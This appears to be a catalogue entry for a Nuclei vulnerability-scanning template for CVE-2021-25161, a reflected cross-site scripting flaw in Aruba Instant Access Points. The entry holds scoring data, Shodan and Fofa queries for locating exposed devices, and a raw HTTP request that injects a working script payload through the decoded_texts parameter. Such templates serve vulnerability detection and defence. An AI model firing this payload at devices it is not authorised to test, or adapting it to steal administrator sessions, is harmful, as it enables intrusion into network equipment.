CVE-2021-25161: Aruba Instant Access Point (IAP) - Cross-Site Scripting
- Template: CVE-2021-25161
- Name: Aruba Instant Access Point (IAP) - Cross-Site Scripting
- Description: A remote cross-site scripting (xss) vulnerability was discovered in some Aruba Instant Access Point (IAP) products in version(s): Aruba Instant 6.4.x: 6.4.4.8-4.2.4.17 and below; Aruba Instant 6.5.x: 6.5.4.18 and below; Aruba Instant 8.3.x: 8.3.0.14 and below; Aruba Instant 8.5.x: 8.5.0.11 and below; Aruba Instant 8.6.x: 8.6.0.7 and below; Aruba Instant 8.7.x: 8.7.1.1 and below.
- Impact: Attackers can inject malicious JavaScript via reflected XSS in the decoded_texts parameter, potentially stealing administrator credentials or manipulating access point configurations.
- Remediation: Upgrade to the latest version of Swarm that addresses this vulnerability.Implement proper input validation and output encoding for user-supplied data.
- Severity: medium
- Authors: ritikchaddha
- Tags: cve, cve2021, xss, aruba, web, vuln
- References: https://alephsecurity.com/2021/07/15/aruba-instant/?utm_source=feedly, https://nvd.nist.gov/vuln/detail/CVE-2021-25161
- Cves: CVE-2021-25161
- Verified: yes
- Max requests: 1
- Directory: http/cves
- Path: http/cves/2021/CVE-2021-25161.yaml
- Digest: 4a0a0047304502204241584139acecdf9ba7aa923b63aafa9f10094b4f9f4e00a4be3b5e3bf34e7202210080a2668e68590414559b00343c70d5c30b25dffeb5e1b4a473ccf2c4f592292a
- Created at: 2025-05-21T15:04:18Z
- Updated at: 2026-11-23T02:03:43Z
- Age in days: 552
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-25161.yaml
Classification
- Cwe: CWE-79
- Cvss score: 6.1
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Epss score: 0.16372
- Epss percentile: 0.97045
- Not known: cpe
Metadata
- Fofa-query: body="jscripts/third_party/raphael-treemap.min.js" || body="jscripts/third_party/highcharts.src.js"
- Max-request: 1
- Product: aruba-instant-access-point
- Shodan-query: title:"Aruba"
- Vendor: aruba
- Verified: yes
Products
| Product | Indexed | Url |
|---|---|---|
| aruba:aruba-instant-access-point | no | — |
Labels
- Name: Aruba Instant - Reflected XSS
- Impact: Attackers can execute arbitrary scripts in the victim's browser, potentially leading to session hijacking or information theft.
- Remediation: Apply the latest patches released by Aruba for affected versions.
- Vulnerability type: reflected_xss
- Vulnerability impact: client_script_exec
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2021-25161
- Not known: requirements
```yaml
id: CVE-2021-25161
info:
name: Aruba Instant Access Point (IAP) - Cross-Site Scripting
author: ritikchaddha
severity: medium
description: |
A remote cross-site scripting (xss) vulnerability was discovered in some Aruba Instant Access Point (IAP) products in version(s): Aruba Instant 6.4.x: 6.4.4.8-4.2.4.17 and below; Aruba Instant 6.5.x: 6.5.4.18 and below; Aruba Instant 8.3.x: 8.3.0.14 and below; Aruba Instant 8.5.x: 8.5.0.11 and below; Aruba Instant 8.6.x: 8.6.0.7 and below; Aruba Instant 8.7.x: 8.7.1.1 and below.
impact: |
Attackers can inject malicious JavaScript via reflected XSS in the decoded_texts parameter, potentially stealing administrator credentials or manipulating access point configurations.
remediation: |
Upgrade to the latest version of Swarm that addresses this vulnerability.Implement proper input validation and output encoding for user-supplied data.
reference:
- https://alephsecurity.com/2021/07/15/aruba-instant/?utm_source=feedly
- https://nvd.nist.gov/vuln/detail/CVE-2021-25161
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-25161
cwe-id: CWE-79
epss-score: 0.16372
epss-percentile: 0.97045
metadata:
verified: true
max-request: 1
vendor: aruba
product: aruba-instant-access-point
shodan-query: title:"Aruba"
fofa-query: body="jscripts/third_party/raphael-treemap.min.js" || body="jscripts/third_party/highcharts.src.js"
tags: cve,cve2021,xss,aruba,web,vuln
http:
- raw:
- |
GET /swarm.cgi?opcode=cp_preview&bg_color=AA&banner_color=B&banner_text=AAA&terms_of_use=AAA&use_policy=BBB&authenticated=False&decoded_texts="%27;%0Aalert(document.domain);//%0a%27 HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- var decode_string = '"';
- alert(document.domain);//
condition: and
- type: word
part: content_type
words:
- text/html
- type: status
status:
- 200
digest: 4a0a0047304502204241584139acecdf9ba7aa923b63aafa9f10094b4f9f4e00a4be3b5e3bf34e7202210080a2668e68590414559b00343c70d5c30b25dffeb5e1b4a473ccf2c4f592292a:922c64590222798bb761d5b6d8e72950
```